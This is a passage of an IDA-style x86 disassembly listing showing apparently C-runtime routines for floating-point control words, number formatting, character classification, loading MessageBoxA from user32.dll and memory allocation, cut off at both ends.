loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBE94 nop call near ptr 2710000h test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFB8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFE0, eax add esp, 18h movsx eax, byte_4DBFBA mov dword_4DBFD8, eax pop edi movsx eax, word_4DBFB8 mov dword_4DBFDC, eax mov dword_4DBFE4, offset dword_4DBFBC mov eax, offset dword_4DBFD8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: ___:0043D438o ; ___:0043DB78o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFE8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFE8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; --------------------------------------------------------------------------- word_424F62 dw 1C68h ; DATA XREF: ___:00429024o ; --------------------------------------------------------------------------- dec edi inc edx add [eax+1DBF7DE8h], dl add ah, byte ptr dword_4DBFE8[ebx] retn ; --------------------------------------------------------------------------- byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co dd 4DBFE835h, 6BE89000h, 0C3021DBFh ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600B3Ah test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2670000h test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 2600AAAh nop test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: ___:004236A6p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD261[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE82[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFEC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" call near ptr 26B0AD3h nop mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBFEC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBFF0, eax call esi mov dword_4DBFF4, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DBFF0 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DBFF4 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFEC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD380 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; 